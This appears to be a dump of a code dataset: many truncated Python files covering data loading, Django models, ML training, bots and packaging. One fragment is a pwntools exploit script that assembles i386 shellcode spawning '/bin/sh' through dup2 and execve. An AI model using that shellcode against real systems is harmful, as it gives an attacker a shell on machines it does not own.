content
stringlengths
5
1.05M
import os import tempfile from cart import pack_stream, unpack_stream, is_cart from assemblyline.common import identify # noinspection PyBroadException def decode_file(original_path, fileinfo): extracted_path = None hdr = {} with open(original_path, 'rb') as original_file: if is_cart(original_fil...
""" Data type for 'features' that can be used in machine learning analyses as independent or dependent variables. feature_variables contain metadata attributes specific to the 'feature_collection' they are part of so that the features themselves can be queried when constructing a data set to analyze from the database....
from .LHSNode import LHSNode class DereferenceNode(LHSNode): def __init__(self,expr): self._expr = expr def orig_type(self): return self._expr.type().base_type() def expr(self): return self._expr def set_expr(self,expr): self._expr = expr def loca...
import imtreat img = imtreat.imageManagerClass.openImageFunction("../images/lena.png", 1) img = imtreat.bodyPartsDetectionClass.smileDetectionFunction(img) imtreat.imageManagerClass.saveImageFunction("/Téléchargements/", "image_1", ".png", img)
import os import smtplib import spacy import urllib3 from bs4 import BeautifulSoup from dotenv import load_dotenv from email.message import EmailMessage from pyshorteners import Shortener from sklearn.neighbors import NearestNeighbors from tqdm import tqdm # Load environment variables. # Docker # env_path = '/usr/src...
#./flexflow_python $FF_HOME/bootcamp_demo/keras_cnn_cifar10.py -ll:py 1 -ll:gpu 1 -ll:fsize 2048 -ll:zsize 12192 # from keras.models import Model, Sequential # from keras.layers import Input, Flatten, Dense, Activation, Conv2D, MaxPooling2D, Dropout # from keras.optimizers import SGD # from keras.datasets import cifar...
import re from typing import Iterable, Iterator, MutableMapping from urllib.parse import urlparse # from tartley/colorama ANSI_CSI_RE = re.compile("\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?") ODOO_LOG_RE = re.compile( r"^" r"(?P<asctime>\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2},\d{3}) " r"(?P<pid>\d+) " r"(?P...
import bpy from bpy.props import * from bpy.types import Node, NodeSocket from arm.logicnode.arm_nodes import * class CanvasSetRotationNode(Node, ArmLogicTreeNode): '''Set canvas element rotation''' bl_idname = 'LNCanvasSetRotationNode' bl_label = 'Canvas Set Rotation' bl_icon = 'QUESTION' def ini...
#!/usr/bin/env python import os import logging import wfdb import glob import numpy as np import pyedflib import mne from mne.io import read_raw_edf from fourier import fourier from config import * mapping = {'EOG horizontal': 'eog', 'Resp oro-nasal': 'misc', 'EMG submental': 'misc', ...
import discord from discord.ext import commands import random import re import traceback import math import elite import elite_mapper description = '''Elite:Dangerous connector bot.''' token = '' uid_regex = re.compile(r'<.*?(\d+)>') bot = commands.Bot(command_prefix='!ed ', description=description) @bot.event asy...
def generate_test(index, labels, data): def test(self): for event_id in data[index]: method = getattr(self, labels[event_id]) method() return test def _event_sequence_test_impl(labels, data): def _(clazz): for i in range(0, len(data)): test_name = 'test_...
import argparse import csv from os.path import splitext, basename import sys import time import haploqa.mongods as mds import haploqa.sampleannoimport as sai from pymongo.errors import DuplicateKeyError header_tag = '[header]' data_tag = '[data]' tags = {header_tag, data_tag} snp_name_col_hdr = 'SNP Name' x_col_hdr...
# Identify landmark positions within a contour for morphometric analysis import numpy as np import math import cv2 from plantcv.plantcv import params from plantcv.plantcv._debug import _debug def acute(img, obj, mask, win, threshold): """ Identify landmark positions within a contour for morphometric analysis...
__author__ = "Radek Warowny" __licence__ = "GPL" __version__ = "1.0.1" __maintainer__ = "Radek Warowny" __email__ = "radekwarownydev@gmail.com" __status__ = "Demo" import getpass import math import sqlite3 import pandas as pd import os import shutil import sys import time from db import db_conn, check_user, insert_wo...
from pathlib import Path from typing import List, Optional from youtube_series_downloader.app.download_new_episodes.download_new_episodes_repo import ( DownloadNewEpisodesRepo, ) from youtube_series_downloader.core.channel import Channel from youtube_series_downloader.core.video import Video from youtube_series_do...
#!/usr/bin/python3 # implement TF model which will be used to classify MNIST digits using keras. # # Name: R. Melton # email: rnm@pobox.com # date: 1/3/2021 # based on: https://www.youtube.com/watch?v=bee0GrKBCrE # you will need sudo apt install nvidia-cuda-toolkit import tensorflow as tf from tensorflow import keras ...
# coding=utf-8 from poco.sdk.interfaces.hierarchy import HierarchyInterface from poco.sdk.interfaces.input import InputInterface from poco.sdk.interfaces.screen import ScreenInterface from poco.sdk.interfaces.command import CommandInterface __author__ = 'lxn3032' def _assign(val, default_val): if isinstance(val...
from __future__ import absolute_import, division import networkx as nx import numpy as np from scipy.ndimage import binary_dilation, binary_erosion, maximum_filter from scipy.special import comb from skimage.filters import rank from skimage.morphology import dilation, disk, erosion, medial_axis from sklearn.ne...
# -*- coding: utf-8 -*- # @Time : 2018/12/10 20:22 # @Author : MengnanChen # @FileName: transform_pinyin.py # @Software: PyCharm import os import re import codecs class words2pinyin: def __init__(self, path_pinyin=None, path_text=None): self.path_pinyin = path_pinyin self.path_text = path_tex...
import sys, pygame import core,timer,AlarmClock background_colour = (255,255,255) (width, height) = (300, 200) screen = pygame.display.set_mode((width, height)) pygame.display.set_caption('clock app') screen.fill(background_colour) pygame.display.flip() running = True Gui = AlarmClock.AlarmClock() def main(): whi...
import numpy as np from scipy import integrate import matplotlib.pyplot as plt import torch def init_random_state(): max_ves = 64.0 - 10.0 min_ves = 36.0 + 10.0 max_ved = 167.0 - 10.0 min_ved = 121.0 + 10.0 max_sv = 1.0 min_sv = 0.9 max_pa = 85.0 min_pa = 75.0 max_pv = 7.0 ...
# coding=utf-8 """This module contains functions that simplify data management activities.""" # Python 2/3 compatibility # pylint: disable=wildcard-import,unused-wildcard-import,wrong-import-order,wrong-import-position from __future__ import (absolute_import, division, print_function, unicode_literals) from future.bui...
import json import csv import numpy as np from stockstats import StockDataFrame import pandas as pd import mplfinance as mpf import seaborn as sn import matplotlib.pyplot as plt def load_secrets(): """ Load data from secret.json as JSON :return: Dict. """ try: with open('secret.json', 'r')...
from __future__ import unicode_literals from django.db import models from django.contrib.auth.models import User from django.forms import ModelForm class Team(models.Model): team_name = models.CharField(max_length=100, unique=True) idea_title = models.CharField(max_length=100) idea_description = models.Ch...
""" pyghelpers is a collection of classes and functions written in Python for use with Pygame. pyghelpers is pronounced "pig helpers". Developed by Irv Kalb - Irv at furrypants.com Full documentation at: https://pyghelpers.readthedocs.io/en/latest/ pyghelpers contains the following classes: - Timer - a simple...
def combine_type(input_file, output_file): for line in input_file: str2 = line.split("▁SEP") str1 = str2[1:-1] type_arr = [] name_arr = [] for k in str1: print(k) ent_type = k.split("▁FILL")[0] name = k.split("▁FILL")[1] ent_typ...
from . import tools class ClassIsSomething(object): """Method to test whether a class exhibits a given attribute. The idea here is that the class is expected to be immutable, so whether or not it exhibits the desired attribute is something we can cache. For example, a class will remain iterable, and l...
#!/usr/bin/env python # # A binary search tree. class BST: class Node: left, right, key = None, None, 0 def __init__(self, key): self.left = None self.right = None self.key = key def __init__(self): self.root = None def insert(self, key)...
# -*- coding: utf-8 -*- # Copyright 2018 Orange # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by a...
from moto import mock_sts import pytest from ..apiMan import ApiMan from isitfit.cli.click_descendents import IsitfitCliError @pytest.fixture(scope='function') def MockRequestsRequest(mocker): def get_class(response): # set up def mockreturn(*args, **kwargs): return response mocker.patch('reques...
from django.contrib.auth.models import (User,Group) for attr,name in (("FMSB","Fire Management Services Branch"),): try: setattr(Group,attr,Group.objects.get(name=name)) finally: setattr(Group,attr,None)
from typing import List import cv2 import numpy as np def compute_features(hog_descriptor: cv2.HOGDescriptor, imgs: List[np.ndarray]) -> List[np.ndarray]: """ Compute HOG features for a list of images. Parameters ---------- hog_descriptor : cv2.HOGDescriptor The HOG descriptor to use for...
#!/usr/bin/python3 import unittest from context import * from helpers import * class TestBoard(unittest.TestCase): def assertCell(self, values, actual): expected = valuesFromDisplay( values ) self.assertEqual(expected, actual) def test_reduceCell(self): setup = Board(parseCells(readF...
# automatically generated by the FlatBuffers compiler, do not modify # namespace: Example import flatbuffers from flatbuffers.compat import import_numpy np = import_numpy() class StructOfStructs(object): __slots__ = ['_tab'] @classmethod def SizeOf(cls): return 20 # StructOfStructs def ...
""" Cron Blueprint ============== This blueprint has no settings. Templates are handled as crontabs and should be named after related user. **Fabric environment:** .. code-block:: yaml blueprints: - blues.cron """ import os from fabric.decorators import task from refabric.context_managers import sudo, ...
all_apis = []
""" P(response|context cluster presence) for a given sample, based on sample majority vote scores. """ import json import os import re import typing from collections import Counter, defaultdict import pandas as pd from scipy.stats import binom_test def main(): # ------ # cluster of interest: to be iterated...
from models.flow.glow.glow import Glow
from .menu_item import MenuItemAdmin # noqa
__path__ = __import__('pkgutil').extend_path(__path__, __name__) from spdm.common.SpObject import SpObject SpObject.association.update({ ".data.file.table": ".data.file.PluginTable", ".data.file.bin": ".data.file.PluginBinary", ".data.file.h5": ".data.file.PluginHDF5", ".data.file.hdf5":...
"""Rule-based preprocessing of Break QDMR's and determining their operation types.""" import sys import argparse import collections import logging import math import os import random import six from tqdm import tqdm, trange import ujson as json import time, pickle, re, jsonlines from copy import deepcopy from functool...
#!/usr/bin/python # NOTE: on Ubuntu 18.04, specifying /usr/bin/env python uses python 3, # while specifying /usr/bin/python uses python 2.7. We need 2.7. # serial_tx_fromtopic writes messages from a topic to the serial port. # Usage is: # rosrun spine_controller serial_tx_fromtopic device-name topic-name # Right now,...
def get_level_1_news(): news1 = 'Stars Wars movie filming is canceled due to high electrical energy used. Turns out' \ 'those lasers don\'t power themselves' news2 = 'Pink Floyd Tour canceled after first show used up the whole energy city had for' \ 'the whole month. The band says they\...
# -*- coding: utf-8 -*- ''' Scheduling routines are located here. To activate the scheduler make the schedule option available to the master or minion configurations (master config file or for the minion via config or pillar) .. code-block:: yaml schedule: job1: function: state.sls seconds: ...
from artiq.experiment import * class AuxOpticalPumping: frequency_866="DopplerCooling.doppler_cooling_frequency_866" amplitude_866="DopplerCooling.doppler_cooling_amplitude_866" att_866="DopplerCooling.doppler_cooling_att_866" frequency_854="OpticalPumping.optical_pumping_frequency_854" amplitude_...
import csv # ------- Authenticator data = [] # Placeholder for current hex codes entry = False # Main operation for entry user_input = [] user_input.append(input("Code: ")) print("") # --- Dataset Pull with open('hex.csv','r') as codefile: reader = csv.reader(codefile, delimiter=',') for i in reader:...
import FWCore.ParameterSet.Config as cms pfClustersFromL1EGClusters = cms.EDProducer("PFClusterProducerFromL1EGClusters", corrector = cms.string(''), etMin = cms.double(0.5), resol = cms.PSet( etaBins = cms.vdouble(0.7, 1.2, 1.6), kind = cms.string('calo'), offset = cms.vdouble(0.83...
from unittest import TestCase from seqs.Permutations import PlainChanges, SteinhausJohnsonTrotter, Involutions class PermutationTest(TestCase): def test_Changes(self): """Do we get the expected sequence of changes for n=3?""" self.assertEqual(list(PlainChanges(3)), [1, 0, 1, 0, 1]) def test_...
from pyaedt.application.Analysis import Analysis from pyaedt.generic.general_methods import pyaedt_function_handler from pyaedt.modeler.Model2D import ModelerRMxprt from pyaedt.modules.PostProcessor import CircuitPostProcessor class FieldAnalysisRMxprt(Analysis): """Manages RMXprt field analysis setup. (To be imp...
import struct from enum import Enum from io import BufferedIOBase from typing import Any, Optional, Union from binary.serializers import BaseSerializer from binary.struct_consts import ( ENDIAN_NATIVE, ENDIAN_LITTLE, ENDIAN_BIG, ENDIAN_NETWORK, INT8_SIGNED, INT8_UNSIGNED, INT16_SIGNED, INT16_UNSIGNED, INT32_SI...
from dbus_next.aio import MessageBus from dbus_next import BusType import asyncio loop = asyncio.get_event_loop() async def main(): # The typical path of systemd service on system DBUS DBUS_SERVICE_SYSTEMD = 'org.freedesktop.systemd1' # Path of kodi unit within systemd DBUS service DBUS_OBJECT_UN...
from django.forms import CheckboxInput, Textarea class Toggle(CheckboxInput): template_name = 'django_modals/widgets/toggle.html' crispy_kwargs = {'template': 'django_modals/fields/label_checkbox.html', 'field_class': 'col-6 input-group-sm'} class TinyMCE(Textarea): template_name = 'django_modals/widget...
import random import collections import itertools """ Game of Set (Peter Norvig 2010-2015) How often do sets appear when we deal an array of cards? How often in the course of playing out the game? Here are the data types we will use: card: A string, such as '3R=0', meaning "three red striped...
import math def soma_distancias(lista_das_coordenadas, referencia): soma = 0 for i in range(0,len(lista_das_coordenadas)): distancia = math.sqrt( ((referencia[0] - lista_das_coordenadas[i][0]) ** 2) + ((referencia[1] - lista_das_coordenadas[i][1]) ** 2) + ((referencia[2] - lista_das_coordenadas[i][2]...
''' Function: 图片下载器 Author: Charles 微信公众号: Charles的皮卡丘 ''' import sys import time import click if __name__ == '__main__': from modules import * from __init__ import __version__ else: from .modules import * from .__init__ import __version__ '''basic info''' BASICINFO = '''******************...
import pickle #Finds the variable associated with a variable name def get_obj(globals, locals, arg): try: try: obj = locals[arg] except: obj = globals[arg] return obj except: print('Invalid variable name entered:', arg) raise ValueError #Pickles ...
import sys import numpy as np import matplotlib.pyplot as plt from scipy.io import savemat import pickle from modlamp.sequences import Random from modlamp.descriptors import PeptideDescriptor, GlobalDescriptor from modlamp.core import load_scale from sklearn.preprocessing import StandardScaler import physbo import t...
# Licensed under the MIT License # https://github.com/craigahobbs/unittest-parallel/blob/main/LICENSE
# Description: Print five rows of the Iobs for a specified Miller array. # Source: NA """ list(Iobs[${1:100:105}]) """ list(Iobs[100:105])
import numpy as np from AnyQt.QtWidgets import QGraphicsLineItem from AnyQt.QtCore import QRectF, QLineF from AnyQt.QtGui import QTransform import pyqtgraph as pg class TextItem(pg.TextItem): if not hasattr(pg.TextItem, "setAnchor"): # Compatibility with pyqtgraph <= 0.9.10; in (as of yet unreleased) ...
import unittest import operator from src.fuzzingtool.core.matcher import Matcher from src.fuzzingtool.objects.result import Result from src.fuzzingtool.exceptions.main_exceptions import BadArgumentType from ..mock_utils.response_mock import ResponseMock class TestMatcher(unittest.TestCase): def test_build_allowe...
#!/usr/bin/env python """Benchmark for stack_context functionality.""" import collections import contextlib import functools import subprocess import sys from tornado import stack_context class Benchmark(object): def enter_exit(self, count): """Measures the overhead of the nested "with" statements ...
params ={ 'publication_year':'202021', 'publication_version':'E3', 'publication_start_date':'2020-01-01', 'publication_end_date':'2020-12-31', 'newly_diagnosed_year': '2019', 'nda_demo_table': {'database':'NDA_DPP_DMS', 'table':'lve.NDA_DEMO_E3_202021'}, 'nda_bmi_table': {'database':'NDA_DPP...
from django.conf.urls import url from django.views.generic import TemplateView from flamingo import views urlpatterns = [ url(r'^org/search/', TemplateView.as_view(template_name='flamingo/organisations/org_search.html'), name='org-search'), url(r'^org/list/', views.OrgList.as_view(), name='org-list'),...
# Created by Thomas Jones on 01/01/2016 - thomas@tomtecsolutions.com # votestats.py - a minqlx plugin to show who votes yes or no in-game/vote results. # This plugin is released to everyone, for any purpose. It comes with no warranty, no guarantee it works, it's released AS IS. # You can modify everything, except for l...
import FWCore.ParameterSet.Config as cms import os process = cms.Process("summary") process.MessageLogger = cms.Service( "MessageLogger", debugModules = cms.untracked.vstring( "*" ), cout = cms.untracked.PSet( threshold = cms.untracked.string( ...
from ..utils import Object class JsonValueObject(Object): """ Represents a JSON object Attributes: ID (:obj:`str`): ``JsonValueObject`` Args: members (List of :class:`telegram.api.types.jsonObjectMember`): The list of object members Returns: JsonValue ...
from django.db import models from django.contrib.auth.models import AbstractUser # Create your models here. class User(AbstractUser): GENDER_CHOICE = ( ("w", "woman"), ("M", "Man"), ("u", "unkhow") ) gender = models.CharField(choices=GENDER_CHOICE, max_length=1, default="unkhow") ...
import jwt import aiohttp class EsiaError(Exception): pass class IncorrectJsonError(EsiaError, ValueError): pass class IncorrectMarkerError(EsiaError, jwt.InvalidTokenError): pass class HttpError(EsiaError, aiohttp.ClientError): pass class OpenSSLError(EsiaError): pass
from setuptools import setup setup(name='normalizer', version='0.1', description='Very basic text normalization module', url='http://github.com/gpompe/basic_normalizer', author='Gaston Pompe', author_email='gastonpompe@gmail.com', license='MIT', packages=['normalizer'], ...
# Copyright 2020 Google, LLC. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in w...
# -*- coding: utf-8 -*- """ This file contains web utilities Classes: download_tools() -> Contains a downloader, a extraction function and a remove function Functions: get_page_source -> Get a webpage source code through urllib2 mechanize_browser(url) -> Get a webpage sour...
from setuptools import setup setup(name='gpe3d_mpi_nlt', version='0.1', description='Provides methods to analyze 3D GPE simulations run using gpe3d_nlt_mpi', url='https://github.com/shreyaspotnis/gpe3d_mpi_nlt', author='Shreyas Potnis', author_email='shreyaspotnis@gmail.com', licens...
import time from werkzeug.serving import run_simple from werkzeug.wrappers import Request, Response from jsonrpc import JSONRPCResponseManager, dispatcher from multiprocessing import Process from picopayments_cli import auth @dispatcher.add_method def mph_sync(**kwargs): auth.verify_json(kwargs) auth_wif = "c...
# Copyright 2014 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html import pymongo import json class IllustriousPipeline(object): def process_item(self, item, spider): return item c...
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Setup file for application installation. """ from setuptools import ( find_packages, setup, ) # # Configuration # PACKAGES = [ 'app', 'app.*', ] PYTHON_REQUIRES = ">=3.8" REQUIRES = [ "click", "email-validator", "emails", "fastapi"...
import argparse as ap import math import multiprocessing as mp import networkx as nx import utils from seed_based_main import seed_based_mapping def compute_init_seed(i1, N, m, d1, deg2, deg2_len, g1, g2): print(f'From g1 {i1}/{N}') g1_nbrs1 = utils.knbrs(g1, m, 1) g1_nbrs1_len = len(g1_nbrs1) + 1 ...
# -*- coding: utf-8 -*- from __future__ import unicode_literals import json from classytags.core import Tag, Options from cms.utils.encoder import SafeJSONEncoder from django import template from django.utils.safestring import mark_safe from sekizai.helpers import get_varname from cms.models import StaticPlaceholde...
#!/usr/bin/env python import os import argparse import json from pprint import pprint parser = argparse.ArgumentParser() parser.add_argument("tacc_username") parser.add_argument("tacc_project") parser.add_argument("storage_path") parser.add_argument("private_key") parser.add_argument("template_file") parser.add_argu...
""" Module to train a network using init files and a CLI """ import argparse import logging import os from datetime import datetime import tensorflow as tf import deepreg.config.parser as config_parser import deepreg.model.optimizer as opt from deepreg.dataset.load import get_data_loader from deepreg.model.network.b...
from __future__ import print_function import os import sys import argparse import _pickle as pickle import ngrams_features_creator from sklearn.model_selection import train_test_split from sklearn.ensemble import RandomForestClassifier from sklearn.metrics import precision_score, recall_score, roc_cur...
#!/usr/bin/python # -*- coding: utf-8 -*- ''' Implement an agent interface to interact with Neutrino API and simulate the enrionemnt to allow testing the strategies created @author: ucaiado Created on 05/07/2018 ''' from __future__ import print_function import json import logging import signal import sys import os im...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Jan 3 18:42:12 2021 @author: ghiggi """ import os import torch import time import pickle import dask import numpy as np from tabulate import tabulate from modules.dataloader_autoregressive import AutoregressiveDataset from modules.dataloader_autoregr...
import zmq class Sender(object): port = "5556" context = zmq.Context() socket = context.socket(zmq.PUB) def __init__(self): self.socket.bind("tcp://*:%s" % self.port) def send(self,message): self.socket.send_string(message) print('sender message - %s' % mess...
print ('='*40, '\nESCREVA UM NÚMERO DE 4 DIGITOS') print ('=' *40) num = int ( input ('Número ? ' )) dez1 = (num // 100) #variaveis dez2 = (num % 100) #variaveis raiz = num **(1/2) #variaveis if ( raiz == dez1 + dez2 ): print ('-' *40) print ('ESSE NÚMERO É UM QUADRADO PERFEITO! :) ') else : print ('-...
from functools import partial import colossalai import pytest import torch import torch.multiprocessing as mp from colossalai.amp.amp_type import AMP_TYPE from colossalai.logging import get_dist_logger from colossalai.trainer import Trainer from colossalai.utils import MultiTimer, free_port from tests.components_to_te...
""" PKI module """ __all__ = ['pki_methods', 'pki_methods_spec', 'executables_path', 'config_methods', 'init_pki']
from __future__ import absolute_import from django.contrib import admin from .models import Question, Topic class TopicAdmin(admin.ModelAdmin): prepopulated_fields = {'slug':('name',)} class QuestionAdmin(admin.ModelAdmin): list_display = ['text', 'sort_order', 'created_by', 'created_on', ...
from pwn import * import socket import select import sys context.arch = 'i386' reverse_shellcode = asm(''' push 0x3f pop eax xor ebx, ebx push 0x1 pop ecx int 0x80 push 0xb pop eax push 0x0068732f push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 ...
from abc import abstractmethod, ABCMeta import json import uuid import base64 import os import math import re import logging from time import strftime, gmtime from datetime import timedelta, datetime from .audi_models import ( TripDataResponse, CurrentVehicleDataResponse, VehicleDataResponse, VehiclesR...
#!/usr/bin/env python2 # -*- encoding: utf-8 -*- import csv import sys from BeautifulSoup import BeautifulSoup from urllib2 import urlopen try: f = urlopen(sys.argv[1]) except urllib2.HTTPError: f = open(sys.argv[1]) soup = BeautifulSoup(f) tables = soup.findAll('table') idx = 0 for table in tables: heade...
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2010 OpenStack LLC. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICEN...
import pandas as pd import sys import os import re import shutil import subprocess inputs=sys.argv[1] output=sys.argv[2] df = pd.read_csv(inputs, sep=",", header=None, names=["Username","Hostname"]) df.to_csv("csv-intermediate-file-csv", index=False) def csvtomd(output): return subprocess.Popen( 'csvtomd...
from mopidy_vfd import Extension def test_get_default_config(): ext = Extension() config = ext.get_default_config() assert "[vfd]" in config assert "enabled = true" in config def test_get_config_schema(): ext = Extension() schema = ext.get_config_schema() assert "display" in schema
# Copyright [2015] Hewlett-Packard Development Company, L.P. # Copyright 2016 Tesora Inc. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unle...
import torch import torchvision import torch.nn as nn import torch.optim as optim from tqdm import tqdm from torchvision.utils import save_image from model import DeblurCNN, get_model device = 'cuda:0' if torch.cuda.is_available() else 'cpu' def util(model): criterion = nn.MSELoss() optimizer = optim.Adam([ ...
import cv2 class Camera(object): """ Camera object for capturing pictures and video""" def __init__(self, camera, dimmensions): """ Initializes a class instance Args: camera: n'th camera (zero indexed) width: width of image [pixels] height: height of image [pixels] Returns: none ...
class Solution(object): def longestCommonPrefix(self, strs): """ :type strs: List[str] :rtype: str """ if not strs: return "" min_length = min([len(x) for x in strs]) for l in range(0, min_length): for s in strs: if s[l]...
import os import numpy as np from PIL import Image import chainer from chainer.dataset import dataset_mixin class Cifar10Dataset(dataset_mixin.DatasetMixin): def __init__(self, test=False): d_train, d_test = chainer.datasets.get_cifar10(ndim=3, withlabel=False, scale=1.0) if test: sel...